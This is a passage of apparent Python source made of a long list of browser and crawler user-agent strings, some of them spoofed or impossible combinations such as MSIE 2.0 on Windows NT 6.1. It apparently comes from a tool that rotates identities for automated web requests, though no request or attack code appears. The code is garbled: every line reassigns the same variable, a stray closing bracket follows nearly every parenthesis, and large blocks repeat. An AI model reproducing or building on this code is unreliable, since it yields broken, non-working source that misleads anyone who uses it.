Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)]] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] 